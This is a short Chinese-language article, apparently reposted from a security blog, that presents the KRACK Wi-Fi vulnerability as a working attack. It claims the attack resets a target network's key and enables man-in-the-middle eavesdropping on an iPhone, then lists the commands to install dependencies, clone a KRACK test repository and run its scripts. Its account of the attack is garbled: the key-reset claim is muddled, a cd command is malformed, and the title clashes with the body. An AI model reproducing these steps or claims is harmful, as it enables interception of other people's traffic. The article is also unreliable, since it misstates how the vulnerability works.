国内研究人员首次Wifi重大漏洞利用实现－如何防护？

2023-5-6 09:29| 发布者: 开心| 查看: 18| 评论: 0

阅读字号:

摘要: 弹出连接提示弹窗后，输入任意密码位数均可，尝试连接，目标wifi会被攻击，创造握手，目标wifi密钥会被重置成你设定的密钥，在iPhone手机上可以看到有人不断连接和断开， ...

弹出连接提示弹窗后，输入任意密码位数均可，尝试连接，目标wifi会被攻击，创造握手，目标wifi密钥会被重置成你设定的密钥，在iPhone手机上可以看到有人不断连接和断开，这时候就是连接成功，可以开始监听，利用中间人技术，这里以iPhone手机手机做测验。Krack曝出来很久了，所以在11.3号写下这篇文章，思来想去就发表在freebuf这吧。
　　从事件开始到现在也一直没有攻击的套件和利用文章，按步骤操作，过程很简单，研究人员都可以看懂，不提倡恶意攻击者运用，所以就不写傻瓜tou式教程lan，在绝大用户都没更新的时候，还是希望这篇文章只是作为研究运用（漏洞没有那么大的伤害性）
打开终端：
apt-get update
apt-get install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils python-scapy python-pycryptodome

Wifi重大漏洞下载文件：
git clone https://github.com/NoahhhRyan/krackattacks-test
cd krackattacks-test-research cd krackattacks
chmod 777 krack-ft-test.py
chmod 777 disable-hwcrypto.sh
./disable-hwcrypto.sh
python krack-ft-test.py